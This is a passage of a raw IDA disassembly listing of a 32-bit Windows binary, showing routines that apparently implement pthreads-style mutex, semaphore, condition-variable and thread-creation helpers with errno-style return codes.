loc_4306D9:				; CODE XREF: ___:004305BFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430750:				; DATA XREF: ___:00430680o
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430770	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_401190
sub_430770	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_4307AE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_43079C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_43079C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_43079C:				; CODE XREF: ___:0043078Bj
					; ___:00430791j
		mov	edx, [esi+8]
		mov	eax, dword_5103B8
		push	edx
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4307AE:				; CODE XREF: ___:00430783j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4307E0	proc near		; CODE XREF: sub_401663j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_5103B8
		push	edx
		call	sub_401190
sub_4307E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430830	proc near		; CODE XREF: sub_401B63j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510900
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430864
		push	esi
		push	ecx
		call	sub_40154B
		add	esp, 8
		mov	esi, eax
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430864:				; CODE XREF: sub_430830+17j
		test	eax, eax
		jnz	short loc_43086D
		mov	esi, 16h


loc_43086D:				; CODE XREF: sub_430830+36j
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430830	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: ___:0040211Cj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4308C3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4308C3:				; CODE XREF: ___:004308B2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308E0:				; CODE XREF: ___:004021F3j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_430903
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_430903
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430903:				; CODE XREF: ___:004308E7j
					; ___:004308EDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430920:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43093D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43093D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43093D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43093D:				; CODE XREF: ___:00430926j
					; ___:0043092Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430960:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43098A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43098A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43097E
		test	eax, eax
		jnz	short loc_43098A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43097E:				; CODE XREF: ___:00430975j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43098A:				; CODE XREF: ___:00430966j
					; ___:0043096Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4309A0	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_4309B6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B6:				; CODE XREF: sub_4309A0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_4309DD
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_4309DD
		cmp	dword ptr [eax], 1
		jnz	short loc_4309DD
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309DD:				; CODE XREF: sub_4309A0+1Ej
					; sub_4309A0+24j ...
		push	20h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_430A02
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430A02:				; CODE XREF: sub_4309A0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A27
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_430A6B
; ---------------------------------------------------------------------------


loc_430A27:				; CODE XREF: sub_4309A0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A45
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_430A62
; ---------------------------------------------------------------------------


loc_430A45:				; CODE XREF: sub_4309A0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_430ACF
		push	ebx
		call	sub_401690
		add	esp, 4


loc_430A62:				; CODE XREF: sub_4309A0+A3j
		push	ebp
		call	sub_401690
		add	esp, 4


loc_430A6B:				; CODE XREF: sub_4309A0+85j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_430AC2


loc_430A7B:				; CODE XREF: sub_4309A0+131j
		push	offset dword_510980
		call	near ptr 7C901005h
		nop
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_5103C0
		mov	[esi+1Ch], ecx
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_430AA2
		mov	[eax+18h], esi


loc_430AA2:				; CODE XREF: sub_4309A0+FDj
		mov	eax, dword_5103BC
		mov	dword_5103C0, esi
		test	eax, eax
		jnz	short loc_430AB7
		mov	dword_5103BC, esi


loc_430AB7:				; CODE XREF: sub_4309A0+10Fj
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh


loc_430AC2:				; CODE XREF: sub_4309A0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430ACF:				; CODE XREF: sub_4309A0+B7j
		xor	edi, edi
		jmp	short loc_430A7B
sub_4309A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B30	proc near		; CODE XREF: sub_401AA5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_430CDC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_430CDC
		cmp	eax, 0FFFFFFFFh
		jz	loc_430C93
		push	offset dword_510980
		call	near ptr 7C901005h
		nop
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430B89
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430B89:				; CODE XREF: sub_430B30+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_401785
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_430BB0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430BB0:				; CODE XREF: sub_430B30+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_430BE9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430BD2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_430BD2:				; CODE XREF: sub_430B30+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_430C7E
; ---------------------------------------------------------------------------


loc_430BE9:				; CODE XREF: sub_430B30+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401690
		mov	edi, dword_511A70
		add	esp, 4
		test	eax, eax
		jz	short loc_430C0A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_430C0A:				; CODE XREF: sub_430B30+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401690
		add	esp, 4
		test	eax, eax
		jz	short loc_430C22
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_430C22:				; CODE XREF: sub_430B30+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_430C3C
		push	ebp
		call	sub_402252
		add	esp, 4
		mov	ebx, eax


loc_430C3C:				; CODE XREF: sub_430B30+FFj
		cmp	dword_5103BC, esi
		jnz	short loc_430C4F
		mov	edx, [esi+18h]
		mov	dword_5103BC, edx
		jmp	short loc_430C58
; ---------------------------------------------------------------------------


loc_430C4F:				; CODE XREF: sub_430B30+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_430C58:				; CODE XREF: sub_430B30+11Dj
		cmp	dword_5103C0, esi
		jnz	short loc_430C6B
		mov	edx, [esi+1Ch]
		mov	dword_5103C0, edx
		jmp	short loc_430C74
; ---------------------------------------------------------------------------


loc_430C6B:				; CODE XREF: sub_430B30+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_430C74:				; CODE XREF: sub_430B30+139j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_430C7E:				; CODE XREF: sub_430B30+B4j
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_430CC2
; ---------------------------------------------------------------------------


loc_430C93:				; CODE XREF: sub_430B30+28j
		push	offset dword_510900
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_430CAB
		mov	dword ptr [edi], 0
		jmp	short loc_430CB7
; ---------------------------------------------------------------------------


loc_430CAB:				; CODE XREF: sub_430B30+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_430CB7:				; CODE XREF: sub_430B30+179j
		push	offset dword_510900
		call	near ptr 7C9010EDh
		nop


loc_430CC2:				; CODE XREF: sub_430B30+161j
		test	esi, esi
		jz	short loc_430CCE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CCE:				; CODE XREF: sub_430B30+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_430CE1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CDC:				; CODE XREF: sub_430B30+15j
					; sub_430B30+1Fj
		mov	eax, 16h


loc_430CE1:				; CODE XREF: sub_430B30+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_430B30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D60	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_430D60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D90	proc near		; CODE XREF: sub_430D60+Cp
					; sub_431060+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_430E99
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430E99
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430DD2
		push	esi
		call	sub_401B63
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_430DD2
		cmp	eax, 10h
		jnz	loc_430E9E


loc_430DD2:				; CODE XREF: sub_430D90+26j
					; sub_430D90+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430DF2
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430DF2:				; CODE XREF: sub_430D90+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430E12
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430E12:				; CODE XREF: sub_430D90+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_430F00
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401663
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h
		dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_430E99:				; CODE XREF: sub_430D90+13j
					; sub_430D90+1Dj
		mov	eax, 16h


loc_430E9E:				; CODE XREF: sub_430D90+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_430D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430F00:				; DATA XREF: sub_430D90+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430F2B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F2B:				; CODE XREF: ___:00430F21j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_430F3E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_430FA7
; ---------------------------------------------------------------------------


loc_430F3E:				; CODE XREF: ___:00430F34j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_430FA7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430F72
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F72:				; CODE XREF: ___:00430F5Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F9C
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F9C:				; CODE XREF: ___:00430F86j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_430FA7:				; CODE XREF: ___:00430F3Cj
					; ___:00430F4Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_430FC0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FC0:				; CODE XREF: ___:00430FB2j
		cmp	ebx, 1
		jnz	short loc_430FE9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430FE9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FE9:				; CODE XREF: ___:00430FC3j
					; ___:00430FD3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430FFF
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_430FFF:				; CODE XREF: ___:00430FF7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431060	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_43106E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43106E:				; CODE XREF: sub_431060+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_431060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310A0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_4310A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310C0	proc near		; CODE XREF: sub_4310A0+7p
					; sub_431220+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_4311C4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4311C4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4310E4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4310E4:				; CODE XREF: sub_4310C0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4311C9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_431134
		test	eax, eax
		jnz	short loc_431112


loc_431105:				; CODE XREF: sub_4310C0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431112:				; CODE XREF: sub_4310C0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_431129
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431129:				; CODE XREF: sub_4310C0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_431193
; ---------------------------------------------------------------------------


loc_431134:				; CODE XREF: sub_4310C0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_431105
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_431160
		nop
		call	near ptr 77C1F2BCh
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431160:				; CODE XREF: sub_4310C0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_431174
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_431174:				; CODE XREF: sub_4310C0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_431189
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431189:				; CODE XREF: sub_4310C0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_431193:				; CODE XREF: sub_4310C0+72j
		dec	eax
		mov	[esi], eax


loc_431196:				; CODE XREF: sub_4310C0+67j
					; sub_4310C0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4311BE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_402068
		add	esp, 8
		test	eax, eax
		jz	short loc_4311BE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_4311BE:				; CODE XREF: sub_4310C0+E3j
					; sub_4310C0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4311C4:				; CODE XREF: sub_4310C0+9j
					; sub_4310C0+13j
		mov	eax, 16h


loc_4311C9:				; CODE XREF: sub_4310C0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4310C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431220	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_431220	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431240	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B27
		mov	esi, eax
		test	esi, esi
		jz	loc_431316
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_431316
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_4312BE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_4312BE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_4312C0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_4312C0
; ---------------------------------------------------------------------------


loc_4312BE:				; CODE XREF: sub_431240+4Dj
					; sub_431240+54j
		xor	edi, edi


loc_4312C0:				; CODE XREF: sub_431240+6Ej
					; sub_431240+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401BA9
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		nop
		call	near ptr 77C3A3DBh
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_431309
		test	ebp, ebp
		jz	short loc_431302
		cmp	dword ptr [ebp+0], 0
		jz	short loc_431302
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch


loc_431302:				; CODE XREF: sub_431240+AAj
					; sub_431240+B0j
		push	edi
		nop
		call	near ptr 2760000h


loc_431309:				; CODE XREF: sub_431240+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_431349


loc_431316:				; CODE XREF: sub_431240+14j
					; sub_431240+30j
		push	esi
		call	sub_4017B7
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43133C
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43133C:				; CODE XREF: sub_431240+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_431349:				; CODE XREF: sub_431240+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_431240	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4313B0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4313E7 ; default
		jmp	off_4313EC[ecx*4] ; switch jump


loc_4313C5:				; DATA XREF: ___:off_4313ECo
		call	sub_401712	; jumptable 004313BE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313CD:				; CODE XREF: ___:004313BEj
